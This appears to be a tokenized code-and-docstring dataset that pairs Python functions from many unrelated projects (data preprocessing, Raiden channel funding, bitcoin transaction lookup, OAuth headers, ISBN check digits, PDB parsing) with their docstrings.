[ "def", "create_preprocessed_dataset", "(", "path_to_data", ",", "outputpath", ",", "preprocessing_queue", ")", ":", "# Log everything", "logging", ".", "info", "(", "\"Data soure %s\"", ",", "path_to_data", ")", "logging", ".", "info", "(", "\"Output will be stored in %s\"", ",", "outputpath", ")", "tmp", "=", "\"Preprocessing Queue:\\n\"", "for", "preprocessing_class", "in", "preprocessing_queue", ":", "tmp", "+=", "str", "(", "preprocessing_class", ")", "+", "\"\\n\"", "logging", ".", "info", "(", "tmp", ")", "# Load from pickled file", "if", "not", "os", ".", "path", ".", "isfile", "(", "path_to_data", ")", ":", "logging", ".", "info", "(", "(", "\"'%s' does not exist. Please either abort this script \"", "\"or update the data location.\"", ")", ",", "path_to_data", ")", "raw_dataset_path", "=", "utils", ".", "choose_raw_dataset", "(", ")", "# Get project-relative path", "raw_dataset_path", "=", "\"raw-datasets\"", "+", "raw_dataset_path", ".", "split", "(", "\"raw-datasets\"", ")", "[", "1", "]", "print", "(", "raw_dataset_path", ")", "sys", ".", "exit", "(", ")", "# TODO: Update model!", "logging", ".", "info", "(", "\"Start loading data...\"", ")", "loaded", "=", "pickle", ".", "load", "(", "open", "(", "path_to_data", ",", "\"rb\"", ")", ")", "raw_datasets", "=", "loaded", "[", "'handwriting_datasets'", "]", "logging", ".", "info", "(", "\"Start applying preprocessing methods\"", ")", "start_time", "=", "time", ".", "time", "(", ")", "for", "i", ",", "raw_dataset", "in", "enumerate", "(", "raw_datasets", ")", ":", "if", "i", "%", "10", "==", "0", "and", "i", ">", "0", ":", "utils", ".", "print_status", "(", "len", "(", "raw_datasets", ")", ",", "i", ",", "start_time", ")", "# Do the work", "raw_dataset", "[", "'handwriting'", "]", ".", "preprocessing", "(", "preprocessing_queue", ")", "sys", ".", "stdout", ".", "write", "(", "\"\\r%0.2f%% (done)\\033[K\\n\"", "%", "(", "100", ")", ")", "print", "(", "\"\"", ")", "pickle", ".", "dump", "(", "{", "'handwriting_datasets'", ":", "raw_datasets", ",", "'formula_id2latex'", ":", "loaded", "[", "'formula_id2latex'", "]", ",", "'preprocessing_queue'", ":", "preprocessing_queue", "}", ",", "open", "(", "outputpath", ",", "\"wb\"", ")", ",", "2", ")" ]

[ "Create", "a", "preprocessed", "dataset", "file", "by", "applying", "preprocessing_queue", "to", "path_to_data", ".", "The", "result", "will", "be", "stored", "in", "outputpath", "." ]

[ "def", "_check_values", "(", "self", ",", "values", ")", ":", "assert", "isinstance", "(", "values", ",", "Iterable", ")", "and", "not", "isinstance", "(", "values", ",", "(", "str", ",", "dict", ",", "bytes", ",", "bytearray", ")", ")", ",", "'values should be a list or tuple. Got {}'", ".", "format", "(", "type", "(", "values", ")", ")", "assert", "len", "(", "values", ")", "==", "len", "(", "self", ".", "datetimes", ")", ",", "'Length of values list must match length of datetimes list. {} != {}'", ".", "format", "(", "len", "(", "values", ")", ",", "len", "(", "self", ".", "datetimes", ")", ")", "assert", "len", "(", "values", ")", ">", "0", ",", "'Data Collection must include at least one value'" ]

[ "Check", "values", "whenever", "they", "come", "through", "the", "values", "setter", "." ]

[ "def", "physical_cpus", "(", ")", ":", "if", "platform", ".", "system", "(", ")", "==", "'Darwin'", ":", "ncores", "=", "subprocess", ".", "check_output", "(", "[", "'/usr/sbin/sysctl'", ",", "'-n'", ",", "'hw.ncpu'", "]", ",", "shell", "=", "False", ")", "return", "int", "(", "ncores", ".", "strip", "(", ")", ")", "sockets", "=", "set", "(", ")", "with", "open", "(", "'/proc/cpuinfo'", ")", "as", "istr", ":", "for", "line", "in", "istr", ":", "if", "line", ".", "startswith", "(", "'physical id'", ")", ":", "sockets", ".", "add", "(", "line", ".", "split", "(", "':'", ")", "[", "-", "1", "]", ".", "strip", "(", ")", ")", "return", "len", "(", "sockets", ")" ]

[ "Get", "cpus", "identifiers", "for", "instance", "set", "(", "[", "0", "1", "2", "3", "]", ")" ]

[ "def", "clear", "(", "self", ")", ":", "parent", "=", "self", ".", "parent", "if", "parent", "is", "not", "self", "and", "parent", ".", "is_built_coherence", "(", "self", ".", "graph", ")", "is", "Build", ".", "YES", ":", "raise", "GPflowError", "(", "'Clear method cannot be started. Upper nodes are built.'", ")", "self", ".", "_clear", "(", ")" ]

[ "Calls", "_clear", "abstract", "method", "which", "must", "be", "implemented", "by", "descendants", "." ]

[ "def", "get", "(", "self", ",", "hash", ",", "account", "=", "\"*\"", ",", "max_transactions", "=", "100", ",", "min_confirmations", "=", "6", ",", "raw", "=", "False", ")", ":", "if", "len", "(", "hash", ")", "<", "64", ":", "txs", "=", "self", ".", "_service", ".", "list_transactions", "(", "hash", ",", "account", "=", "account", ",", "max_transactions", "=", "max_transactions", ")", "unspents", "=", "self", ".", "_service", ".", "list_unspents", "(", "hash", ",", "min_confirmations", "=", "min_confirmations", ")", "return", "{", "'transactions'", ":", "txs", ",", "'unspents'", ":", "unspents", "}", "else", ":", "return", "self", ".", "_service", ".", "get_transaction", "(", "hash", ",", "raw", "=", "raw", ")" ]

[ "Args", ":", "hash", ":", "can", "be", "a", "bitcoin", "address", "or", "a", "transaction", "id", ".", "If", "it", "s", "a", "bitcoin", "address", "it", "will", "return", "a", "list", "of", "transactions", "up", "to", "max_transactions", "a", "list", "of", "unspents", "with", "confirmed", "transactions", "greater", "or", "equal", "to", "min_confirmantions", "account", "(", "Optional", "[", "str", "]", ")", ":", "used", "when", "using", "the", "bitcoind", ".", "bitcoind", "does", "not", "provide", "an", "easy", "way", "to", "retrieve", "transactions", "for", "a", "single", "address", ".", "By", "using", "account", "we", "can", "retrieve", "transactions", "for", "addresses", "in", "a", "specific", "account", "Returns", ":", "transaction" ]

[ "def", "join_channel", "(", "self", ",", "partner_address", ",", "partner_deposit", ")", ":", "# Consider this race condition:", "#", "# - Partner opens the channel and starts the deposit.", "# - This nodes learns about the new channel, starts ConnectionManager's", "# retry_connect, which will start a deposit for this half of the", "# channel.", "# - This node learns about the partner's deposit before its own.", "# join_channel is called which will try to deposit again.", "#", "# To fix this race, first the node must wait for the pending operations", "# to finish, because in them could be a deposit, and then deposit must", "# be called only if the channel is still not funded.", "token_network_proxy", "=", "self", ".", "raiden", ".", "chain", ".", "token_network", "(", "self", ".", "token_network_identifier", ")", "# Wait for any pending operation in the channel to complete, before", "# deciding on the deposit", "with", "self", ".", "lock", ",", "token_network_proxy", ".", "channel_operations_lock", "[", "partner_address", "]", ":", "channel_state", "=", "views", ".", "get_channelstate_for", "(", "views", ".", "state_from_raiden", "(", "self", ".", "raiden", ")", ",", "self", ".", "token_network_identifier", ",", "self", ".", "token_address", ",", "partner_address", ",", ")", "if", "not", "channel_state", ":", "return", "joining_funds", "=", "min", "(", "partner_deposit", ",", "self", ".", "_funds_remaining", ",", "self", ".", "_initial_funding_per_partner", ",", ")", "if", "joining_funds", "<=", "0", "or", "self", ".", "_leaving_state", ":", "return", "if", "joining_funds", "<=", "channel_state", ".", "our_state", ".", "contract_balance", ":", "return", "try", ":", "self", ".", "api", ".", "set_total_channel_deposit", "(", "self", ".", "registry_address", ",", "self", ".", "token_address", ",", "partner_address", ",", "joining_funds", ",", ")", "except", "RaidenRecoverableError", ":", "log", ".", "info", "(", "'Channel not in opened state'", ",", "node", "=", "pex", "(", "self", ".", "raiden", ".", "address", ")", ",", ")", "except", "InvalidDBData", ":", "raise", "except", "RaidenUnrecoverableError", "as", "e", ":", "should_crash", "=", "(", "self", ".", "raiden", ".", "config", "[", "'environment_type'", "]", "!=", "Environment", ".", "PRODUCTION", "or", "self", ".", "raiden", ".", "config", "[", "'unrecoverable_error_should_crash'", "]", ")", "if", "should_crash", ":", "raise", "log", ".", "critical", "(", "str", "(", "e", ")", ",", "node", "=", "pex", "(", "self", ".", "raiden", ".", "address", ")", ",", ")", "else", ":", "log", ".", "info", "(", "'Joined a channel'", ",", "node", "=", "pex", "(", "self", ".", "raiden", ".", "address", ")", ",", "partner", "=", "pex", "(", "partner_address", ")", ",", "funds", "=", "joining_funds", ",", ")" ]

[ "Will", "be", "called", "when", "we", "were", "selected", "as", "channel", "partner", "by", "another", "node", ".", "It", "will", "fund", "the", "channel", "with", "up", "to", "the", "partners", "deposit", "but", "not", "more", "than", "remaining", "funds", "or", "the", "initial", "funding", "per", "channel", "." ]

[ "def", "show", "(", "format", ",", "full", ")", ":", "# load asset allocation", "app", "=", "AppAggregate", "(", ")", "app", ".", "logger", "=", "logger", "model", "=", "app", ".", "get_asset_allocation", "(", ")", "if", "format", "==", "\"ascii\"", ":", "formatter", "=", "AsciiFormatter", "(", ")", "elif", "format", "==", "\"html\"", ":", "formatter", "=", "HtmlFormatter", "else", ":", "raise", "ValueError", "(", "f\"Unknown formatter {format}\"", ")", "# formatters can display stock information with --full", "output", "=", "formatter", ".", "format", "(", "model", ",", "full", "=", "full", ")", "print", "(", "output", ")" ]

[ "Print", "current", "allocation", "to", "the", "console", "." ]

[ "def", "peer_bfd_timers", "(", "self", ",", "*", "*", "kwargs", ")", ":", "kwargs", "[", "'min_tx'", "]", "=", "kwargs", ".", "pop", "(", "'tx'", ")", "kwargs", "[", "'min_rx'", "]", "=", "kwargs", ".", "pop", "(", "'rx'", ")", "kwargs", "[", "'router_bgp_neighbor_address'", "]", "=", "kwargs", ".", "pop", "(", "'peer_ip'", ")", "kwargs", "[", "'delete'", "]", "=", "kwargs", ".", "pop", "(", "'delete'", ",", "False", ")", "callback", "=", "kwargs", ".", "pop", "(", "'callback'", ",", "self", ".", "_callback", ")", "bfd_tx", "=", "self", ".", "_peer_bfd_tx", "(", "*", "*", "kwargs", ")", "bfd_rx", "=", "self", ".", "_peer_bfd_rx", "(", "*", "*", "kwargs", ")", "bfd_multiplier", "=", "self", ".", "_peer_bfd_multiplier", "(", "*", "*", "kwargs", ")", "if", "kwargs", ".", "pop", "(", "'get'", ",", "False", ")", ":", "return", "self", ".", "_peer_get_bfd", "(", "bfd_tx", ",", "bfd_rx", ",", "bfd_multiplier", ")", "config", "=", "pynos", ".", "utilities", ".", "merge_xml", "(", "bfd_tx", ",", "bfd_rx", ")", "config", "=", "pynos", ".", "utilities", ".", "merge_xml", "(", "config", ",", "bfd_multiplier", ")", "return", "callback", "(", "config", ")" ]

[ "Configure", "BFD", "for", "BGP", "globally", "." ]

[ "def", "adjust_follow", "(", "self", ",", "holidays_obj", "=", "None", ")", ":", "while", "not", "BusinessDate", ".", "is_business_day", "(", "self", ",", "holidays_obj", ")", ":", "self", "=", "BusinessDate", ".", "add_days", "(", "self", ",", "1", ")", "return", "self" ]

[ "adjusts", "to", "Business", "Day", "Convention", "Following", "(", "4", ".", "12", "(", "a", ")", "(", "i", ")", "2006", "ISDA", "Definitions", ")", "." ]

[ "def", "guest_reboot", "(", "self", ",", "userid", ")", ":", "LOG", ".", "info", "(", "\"Begin to reboot vm %s\"", ",", "userid", ")", "self", ".", "_smtclient", ".", "guest_reboot", "(", "userid", ")", "LOG", ".", "info", "(", "\"Complete reboot vm %s\"", ",", "userid", ")" ]

[ "Reboot", "a", "guest", "vm", "." ]

[ "def", "_get_utm_name_value_pair", "(", "zone", ",", "direction", "=", "_Direction", ".", "NORTH", ")", ":", "name", "=", "'UTM_{}{}'", ".", "format", "(", "zone", ",", "direction", ".", "value", ")", "epsg", "=", "_get_utm_code", "(", "zone", ",", "direction", ")", "return", "name", ",", "epsg" ]

[ "Get", "name", "and", "code", "for", "UTM", "coordinates" ]

[ "def", "run", "(", "pipeline", ",", "input_gen", ",", "options", "=", "{", "}", ")", ":", "logger", "=", "logging", ".", "getLogger", "(", "\"reliure.run\"", ")", "t0", "=", "time", "(", ")", "res", "=", "[", "output", "for", "output", "in", "pipeline", "(", "input_gen", ",", "*", "*", "options", ")", "]", "logger", ".", "info", "(", "\"Pipeline executed in %1.3f sec\"", "%", "(", "time", "(", ")", "-", "t0", ")", ")", "return", "res" ]

[ "Run", "a", "pipeline", "over", "a", "input", "generator" ]

[ "def", "construct", "(", "self", ",", "request", "=", "None", ",", "service", "=", "None", ",", "http_args", "=", "None", ",", "*", "*", "kwargs", ")", ":", "if", "service", ".", "service_name", "==", "'refresh_token'", ":", "_acc_token", "=", "find_token", "(", "request", ",", "'refresh_token'", ",", "service", ",", "*", "*", "kwargs", ")", "else", ":", "_acc_token", "=", "find_token", "(", "request", ",", "'access_token'", ",", "service", ",", "*", "*", "kwargs", ")", "if", "not", "_acc_token", ":", "raise", "KeyError", "(", "'No access or refresh token available'", ")", "# The authorization value starts with 'Bearer' when bearer tokens", "# are used", "_bearer", "=", "\"Bearer {}\"", ".", "format", "(", "_acc_token", ")", "# Add 'Authorization' to the headers", "if", "http_args", "is", "None", ":", "http_args", "=", "{", "\"headers\"", ":", "{", "}", "}", "http_args", "[", "\"headers\"", "]", "[", "\"Authorization\"", "]", "=", "_bearer", "else", ":", "try", ":", "http_args", "[", "\"headers\"", "]", "[", "\"Authorization\"", "]", "=", "_bearer", "except", "KeyError", ":", "http_args", "[", "\"headers\"", "]", "=", "{", "\"Authorization\"", ":", "_bearer", "}", "return", "http_args" ]

[ "Constructing", "the", "Authorization", "header", ".", "The", "value", "of", "the", "Authorization", "header", "is", "Bearer", "<access_token", ">", "." ]

[ "def", "sync_close", "(", "self", ")", ":", "if", "self", ".", "_closed", ":", "return", "while", "self", ".", "_free", ":", "conn", "=", "self", ".", "_free", ".", "popleft", "(", ")", "if", "not", "conn", ".", "closed", ":", "# pragma: no cover", "conn", ".", "sync_close", "(", ")", "for", "conn", "in", "self", ".", "_used", ":", "if", "not", "conn", ".", "closed", ":", "# pragma: no cover", "conn", ".", "sync_close", "(", ")", "self", ".", "_terminated", ".", "add", "(", "conn", ")", "self", ".", "_used", ".", "clear", "(", ")", "self", ".", "_closed", "=", "True" ]

[ "同步关闭" ]

[ "def", "_embedding_nonmetric_mds", "(", "matrix", ",", "dimensions", "=", "3", ",", "initial_coords", "=", "None", ")", ":", "mds", "=", "sklearn", ".", "manifold", ".", "MDS", "(", "n_components", "=", "dimensions", ",", "dissimilarity", "=", "'precomputed'", ",", "metric", "=", "False", ")", "if", "initial_coords", "is", "not", "None", ":", "mds", ".", "fit", "(", "matrix", ",", "init", "=", "initial_coords", ")", "else", ":", "mds", ".", "fit", "(", "matrix", ")", "return", "mds", ".", "embedding_" ]

[ "Private", "method", "to", "calculate", "NMMDS", "embedding", ":", "param", "dimensions", ":", "(", "int", ")", ":", "return", ":", "coordinate", "matrix", "(", "np", ".", "array", ")" ]

[ "def", "to_api_repr", "(", "self", ")", ":", "values", "=", "self", ".", "values", "if", "self", ".", "array_type", "==", "\"RECORD\"", "or", "self", ".", "array_type", "==", "\"STRUCT\"", ":", "reprs", "=", "[", "value", ".", "to_api_repr", "(", ")", "for", "value", "in", "values", "]", "a_type", "=", "reprs", "[", "0", "]", "[", "\"parameterType\"", "]", "a_values", "=", "[", "repr_", "[", "\"parameterValue\"", "]", "for", "repr_", "in", "reprs", "]", "else", ":", "a_type", "=", "{", "\"type\"", ":", "self", ".", "array_type", "}", "converter", "=", "_SCALAR_VALUE_TO_JSON_PARAM", ".", "get", "(", "self", ".", "array_type", ")", "if", "converter", "is", "not", "None", ":", "values", "=", "[", "converter", "(", "value", ")", "for", "value", "in", "values", "]", "a_values", "=", "[", "{", "\"value\"", ":", "value", "}", "for", "value", "in", "values", "]", "resource", "=", "{", "\"parameterType\"", ":", "{", "\"type\"", ":", "\"ARRAY\"", ",", "\"arrayType\"", ":", "a_type", "}", ",", "\"parameterValue\"", ":", "{", "\"arrayValues\"", ":", "a_values", "}", ",", "}", "if", "self", ".", "name", "is", "not", "None", ":", "resource", "[", "\"name\"", "]", "=", "self", ".", "name", "return", "resource" ]

[ "Construct", "JSON", "API", "representation", "for", "the", "parameter", "." ]

[ "def", "add_log_error", "(", "self", ",", "x", ",", "flag_also_show", "=", "False", ",", "E", "=", "None", ")", ":", "if", "len", "(", "x", ")", "==", "0", ":", "x", "=", "\"(empty error)\"", "tb", ".", "print_stack", "(", ")", "x_", "=", "x", "if", "E", "is", "not", "None", ":", "a99", ".", "get_python_logger", "(", ")", ".", "exception", "(", "x_", ")", "else", ":", "a99", ".", "get_python_logger", "(", ")", ".", "info", "(", "\"ERROR: {}\"", ".", "format", "(", "x_", ")", ")", "x", "=", "'<span style=\"color: {0!s}\">{1!s}</span>'", ".", "format", "(", "a99", ".", "COLOR_ERROR", ",", "x", ")", "self", ".", "_add_log_no_logger", "(", "x", ",", "False", ")", "if", "flag_also_show", ":", "a99", ".", "show_error", "(", "x_", ")" ]

[ "Sets", "text", "of", "labelError", "." ]

[ "def", "_check_digit", "(", "self", ")", ":", "weights", "=", "(", "1", "if", "x", "%", "2", "==", "0", "else", "3", "for", "x", "in", "range", "(", "12", ")", ")", "body", "=", "''", ".", "join", "(", "[", "self", ".", "ean", ",", "self", ".", "group", ",", "self", ".", "registrant", ",", "self", ".", "publication", "]", ")", "remainder", "=", "sum", "(", "int", "(", "b", ")", "*", "w", "for", "b", ",", "w", "in", "zip", "(", "body", ",", "weights", ")", ")", "%", "10", "diff", "=", "10", "-", "remainder", "check_digit", "=", "0", "if", "diff", "==", "10", "else", "diff", "return", "str", "(", "check_digit", ")" ]

[ "Calculate", "the", "check", "digit", "for", "ISBN", "-", "13", ".", "See", "https", ":", "//", "en", ".", "wikipedia", ".", "org", "/", "wiki", "/", "International_Standard_Book_Number", "for", "calculation", "." ]

[ "def", "add_file", "(", "self", ",", "path", ",", "title", ",", "download_url", ",", "write_data", "=", "True", ",", "ext", "=", "None", ",", "license", "=", "None", ",", "copyright_holder", "=", "None", ",", "*", "*", "node_data", ")", ":", "if", "write_data", ":", "assert", "license", ",", "\"Files must have a license\"", "copyright_holder", "=", "None", "if", "not", "copyright_holder", "or", "copyright_holder", ".", "strip", "(", ")", "==", "''", "else", "copyright_holder", "assert", "license", "in", "NO_COPYRIGHT_HOLDER_REQUIRED", "or", "copyright_holder", ",", "\"Licenses must have a copyright holder if they are not public domain\"", "self", ".", "_parse_path", "(", "path", ")", "if", "not", "ext", ":", "_name", ",", "ext", "=", "os", ".", "path", ".", "splitext", "(", "download_url", "or", "\"\"", ")", "ext", "=", "ext", ".", "lower", "(", ")", "# normalize to lowercase extensions inside zip archive", "filepath", "=", "\"{}/{}{}\"", ".", "format", "(", "path", ",", "title", ",", "ext", ")", "if", "download_url", "and", "filepath", ":", "self", ".", "_write_to_zip", "(", "filepath", ",", "read", "(", "download_url", ")", ")", "if", "write_data", ":", "self", ".", "_commit", "(", "filepath", ",", "title", ",", "license", "=", "license", ",", "copyright_holder", "=", "copyright_holder", ",", "*", "*", "node_data", ")", "return", "filepath" ]

[ "add_file", ":", "Creates", "file", "in", "csv", "and", "writes", "file", "to", "zip", "Args", ":", "path", ":", "(", "str", ")", "where", "in", "zip", "to", "write", "file", "title", ":", "(", "str", ")", "content", "s", "title", "download_url", ":", "(", "str", ")", "url", "or", "local", "path", "to", "download", "from", "write_data", ":", "(", "boolean", ")", "indicates", "whether", "to", "add", "as", "a", "csv", "entry", "(", "optional", ")", "ext", ":", "(", "str", ")", "extension", "to", "use", "for", "file", "license", "(", "str", ")", ":", "content", "s", "license", "copyright_holder", "(", "str", ")", ":", "holder", "of", "content", "s", "license", "(", "required", "except", "for", "PUBLIC_DOMAIN", ")", "license_description", "(", "str", ")", ":", "description", "of", "content", "s", "license", "(", "optional", ")", "source_id", ":", "(", "str", ")", "content", "s", "original", "id", "(", "optional", ")", "description", ":", "(", "str", ")", "description", "of", "content", "(", "optional", ")", "author", "(", "str", ")", ":", "who", "created", "the", "content", "(", "optional", ")", "language", "(", "str", ")", ":", "language", "of", "content", "(", "optional", ")", "thumbnail", "(", "str", ")", ":", "path", "to", "thumbnail", "in", "zip", "(", "optional", ")", "Returns", ":", "path", "to", "file", "in", "zip" ]

[ "def", "start", "(", "self", ")", ":", "timeout", "=", "self", ".", "timeout", "(", ")", "if", "timeout", "is", "not", "None", "and", "timeout", ">", "0", ":", "self", ".", "__loop", ".", "add_timeout", "(", "timedelta", "(", "0", ",", "timeout", ")", ",", "self", ".", "stop", ")", "self", ".", "handler", "(", ")", ".", "setup_handler", "(", "self", ".", "loop", "(", ")", ")", "self", ".", "loop", "(", ")", ".", "start", "(", ")", "self", ".", "handler", "(", ")", ".", "loop_stopped", "(", ")" ]

[ "Set", "up", "handler", "and", "start", "loop" ]

[ "def", "apply_cutout", "(", "self", ")", ":", "stepper_shaft", "=", "self", ".", "components", "[", "'shaft'", "]", "top", "=", "self", ".", "components", "[", "'topcap'", "]", "local_obj", "=", "top", ".", "local_obj", "local_obj", "=", "local_obj", ".", "cut", "(", "stepper_shaft", ".", "get_cutout", "(", "clearance", "=", "0.5", ")", ")" ]

[ "shaft", "cutout" ]

[ "def", "metric_detail", "(", "slug", ",", "with_data_table", "=", "False", ")", ":", "r", "=", "get_r", "(", ")", "granularities", "=", "list", "(", "r", ".", "_granularities", "(", ")", ")", "metrics", "=", "r", ".", "get_metric", "(", "slug", ")", "metrics_data", "=", "[", "]", "for", "g", "in", "granularities", ":", "metrics_data", ".", "append", "(", "(", "g", ",", "metrics", "[", "g", "]", ")", ")", "return", "{", "'granularities'", ":", "[", "g", ".", "title", "(", ")", "for", "g", "in", "granularities", "]", ",", "'slug'", ":", "slug", ",", "'metrics'", ":", "metrics_data", ",", "'with_data_table'", ":", "with_data_table", ",", "}" ]

[ "Template", "Tag", "to", "display", "a", "metric", "s", "*", "current", "*", "detail", "." ]

[ "def", "decompress", "(", "self", ",", "value", ":", "bytes", ",", "max_length", ":", "int", "=", "0", ")", "->", "bytes", ":", "return", "self", ".", "decompressobj", ".", "decompress", "(", "value", ",", "max_length", ")" ]

[ "Decompress", "a", "chunk", "returning", "newly", "-", "available", "data", "." ]

[ "def", "GetRosettaResidueMap", "(", "self", ",", "ConvertMSEToAtom", "=", "False", ",", "RemoveIncompleteFinalResidues", "=", "False", ",", "RemoveIncompleteResidues", "=", "False", ")", ":", "raise", "Exception", "(", "'This code looks to be deprecated. Use construct_pdb_to_rosetta_residue_map instead.'", ")", "chain", "=", "None", "sequences", "=", "{", "}", "residue_map", "=", "{", "}", "resid_set", "=", "set", "(", ")", "resid_list", "=", "[", "]", "DNA_residues", "=", "set", "(", "[", "' DA'", ",", "' DC'", ",", "' DG'", ",", "' DT'", "]", ")", "chains", "=", "[", "]", "self", ".", "RAW_ATOM_SEQUENCE", "=", "[", "]", "essential_atoms_1", "=", "set", "(", "[", "'CA'", ",", "'C'", ",", "'N'", "]", ")", "#, 'O'])", "essential_atoms_2", "=", "set", "(", "[", "'CA'", ",", "'C'", ",", "'N'", "]", ")", "#, 'OG'])", "current_atoms", "=", "set", "(", ")", "atoms_read", "=", "{", "}", "oldchainID", "=", "None", "removed_residue", "=", "{", "}", "for", "line", "in", "self", ".", "lines", ":", "if", "line", "[", "0", ":", "4", "]", "==", "'ATOM'", "or", "(", "ConvertMSEToAtom", "and", "(", "line", "[", "0", ":", "6", "]", "==", "'HETATM'", ")", "and", "(", "line", "[", "17", ":", "20", "]", "==", "'MSE'", ")", ")", ":", "chainID", "=", "line", "[", "21", "]", "if", "missing_chain_ids", ".", "get", "(", "self", ".", "pdb_id", ")", ":", "chainID", "=", "missing_chain_ids", "[", "self", ".", "pdb_id", "]", "if", "chainID", "not", "in", "chains", ":", "chains", ".", "append", "(", "chainID", ")", "residue_longname", "=", "line", "[", "17", ":", "20", "]", "if", "residue_longname", "in", "DNA_residues", ":", "# Skip DNA", "continue", "if", "residue_longname", "==", "'UNK'", ":", "# Skip unknown residues", "continue", "if", "residue_longname", "not", "in", "allowed_PDB_residues_types", "and", "not", "(", "ConvertMSEToAtom", "and", "residue_longname", "==", "'MSE'", ")", ":", "if", "not", "self", ".", "strict", ":", "# Skip unknown residues", "continue", "else", ":", "raise", "NonCanonicalResidueException", "(", "\"Residue %s encountered: %s\"", "%", "(", "line", "[", "17", ":", "20", "]", ",", "line", ")", ")", "else", ":", "resid", "=", "line", "[", "21", ":", "27", "]", "#print(chainID, residue_longname, resid)", "#print(line)", "#print(resid_list)", "if", "resid", "not", "in", "resid_set", ":", "removed_residue", "[", "chainID", "]", "=", "False", "add_residue", "=", "True", "if", "current_atoms", ":", "if", "RemoveIncompleteResidues", "and", "essential_atoms_1", ".", "intersection", "(", "current_atoms", ")", "!=", "essential_atoms_1", "and", "essential_atoms_2", ".", "intersection", "(", "current_atoms", ")", "!=", "essential_atoms_2", ":", "oldChain", "=", "resid_list", "[", "-", "1", "]", "[", "0", "]", "oldResidueID", "=", "resid_list", "[", "-", "1", "]", "[", "1", ":", "]", "print", "(", "\"The last residue '%s', %s, in chain %s is missing these atoms: %s.\"", "%", "(", "resid_list", "[", "-", "1", "]", ",", "residue_longname", ",", "oldChain", ",", "essential_atoms_1", ".", "difference", "(", "current_atoms", ")", "or", "essential_atoms_2", ".", "difference", "(", "current_atoms", ")", ")", ")", "resid_set", ".", "remove", "(", "resid_list", "[", "-", "1", "]", ")", "#print(\"\".join(resid_list))", "resid_list", "=", "resid_list", "[", ":", "-", "1", "]", "if", "oldchainID", ":", "removed_residue", "[", "oldchainID", "]", "=", "True", "#print(\"\".join(resid_list))", "#print(sequences[oldChain])", "if", "sequences", ".", "get", "(", "oldChain", ")", ":", "sequences", "[", "oldChain", "]", "=", "sequences", "[", "oldChain", "]", "[", ":", "-", "1", "]", "if", "residue_map", ".", "get", "(", "oldChain", ")", ":", "residue_map", "[", "oldChain", "]", "=", "residue_map", "[", "oldChain", "]", "[", ":", "-", "1", "]", "#print(sequences[oldChain]", "else", ":", "assert", "(", "not", "(", "resid_set", ")", ")", "current_atoms", "=", "set", "(", ")", "atoms_read", "[", "chainID", "]", "=", "set", "(", ")", "atoms_read", "[", "chainID", "]", ".", "add", "(", "line", "[", "12", ":", "15", "]", ".", "strip", "(", ")", ")", "resid_set", ".", "add", "(", "resid", ")", "resid_list", ".", "append", "(", "resid", ")", "chainID", "=", "line", "[", "21", "]", "sequences", "[", "chainID", "]", "=", "sequences", ".", "get", "(", "chainID", ",", "[", "]", ")", "if", "residue_longname", "in", "non_canonical_amino_acids", ":", "sequences", "[", "chainID", "]", ".", "append", "(", "non_canonical_amino_acids", "[", "residue_longname", "]", ")", "else", ":", "sequences", "[", "chainID", "]", ".", "append", "(", "residue_type_3to1_map", "[", "residue_longname", "]", ")", "residue_map", "[", "chainID", "]", "=", "residue_map", ".", "get", "(", "chainID", ",", "[", "]", ")", "if", "residue_longname", "in", "non_canonical_amino_acids", ":", "residue_map", "[", "chainID", "]", ".", "append", "(", "(", "resid", ",", "non_canonical_amino_acids", "[", "residue_longname", "]", ")", ")", "else", ":", "residue_map", "[", "chainID", "]", ".", "append", "(", "(", "resid", ",", "residue_type_3to1_map", "[", "residue_longname", "]", ")", ")", "oldchainID", "=", "chainID", "else", ":", "#atoms_read[chainID] = atoms_read.get(chainID, set())", "atoms_read", "[", "chainID", "]", ".", "add", "(", "line", "[", "12", ":", "15", "]", ".", "strip", "(", ")", ")", "current_atoms", ".", "add", "(", "line", "[", "12", ":", "15", "]", ".", "strip", "(", ")", ")", "if", "RemoveIncompleteFinalResidues", ":", "# These are (probably) necessary for Rosetta to keep the residue. Rosetta does throw away residues where only the N atom is present if that residue is at the end of a chain.", "for", "chainID", ",", "sequence_list", "in", "sequences", ".", "iteritems", "(", ")", ":", "if", "not", "(", "removed_residue", "[", "chainID", "]", ")", ":", "if", "essential_atoms_1", ".", "intersection", "(", "atoms_read", "[", "chainID", "]", ")", "!=", "essential_atoms_1", "and", "essential_atoms_2", ".", "intersection", "(", "atoms_read", "[", "chainID", "]", ")", "!=", "essential_atoms_2", ":", "print", "(", "\"The last residue %s of chain %s is missing these atoms: %s.\"", "%", "(", "sequence_list", "[", "-", "1", "]", ",", "chainID", ",", "essential_atoms_1", ".", "difference", "(", "atoms_read", "[", "chainID", "]", ")", "or", "essential_atoms_2", ".", "difference", "(", "atoms_read", "[", "chainID", "]", ")", ")", ")", "oldResidueID", "=", "sequence_list", "[", "-", "1", "]", "[", "1", ":", "]", "residue_map", "[", "chainID", "]", "=", "residue_map", "[", "chainID", "]", "[", "0", ":", "-", "1", "]", "sequences", "[", "chainID", "]", "=", "sequence_list", "[", "0", ":", "-", "1", "]", "for", "chainID", ",", "sequence_list", "in", "sequences", ".", "iteritems", "(", ")", ":", "sequences", "[", "chainID", "]", "=", "\"\"", ".", "join", "(", "sequence_list", ")", "assert", "(", "sequences", "[", "chainID", "]", "==", "\"\"", ".", "join", "(", "[", "res_details", "[", "1", "]", "for", "res_details", "in", "residue_map", "[", "chainID", "]", "]", ")", ")", "for", "chainID", "in", "chains", ":", "for", "a_acid", "in", "sequences", ".", "get", "(", "chainID", ",", "\"\"", ")", ":", "self", ".", "RAW_ATOM_SEQUENCE", ".", "append", "(", "(", "chainID", ",", "a_acid", ")", ")", "residue_objects", "=", "{", "}", "for", "chainID", "in", "residue_map", ".", "keys", "(", ")", ":", "residue_objects", "[", "chainID", "]", "=", "[", "]", "for", "chainID", ",", "residue_list", "in", "residue_map", ".", "iteritems", "(", ")", ":", "for", "res_pair", "in", "residue_list", ":", "resid", "=", "res_pair", "[", "0", "]", "resaa", "=", "res_pair", "[", "1", "]", "assert", "(", "resid", "[", "0", "]", "==", "chainID", ")", "residue_objects", "[", "chainID", "]", ".", "append", "(", "(", "resid", "[", "1", ":", "]", ".", "strip", "(", ")", ",", "resaa", ")", ")", "return", "sequences", ",", "residue_objects" ]

[ "Note", ":", "This", "function", "ignores", "any", "DNA", "." ]

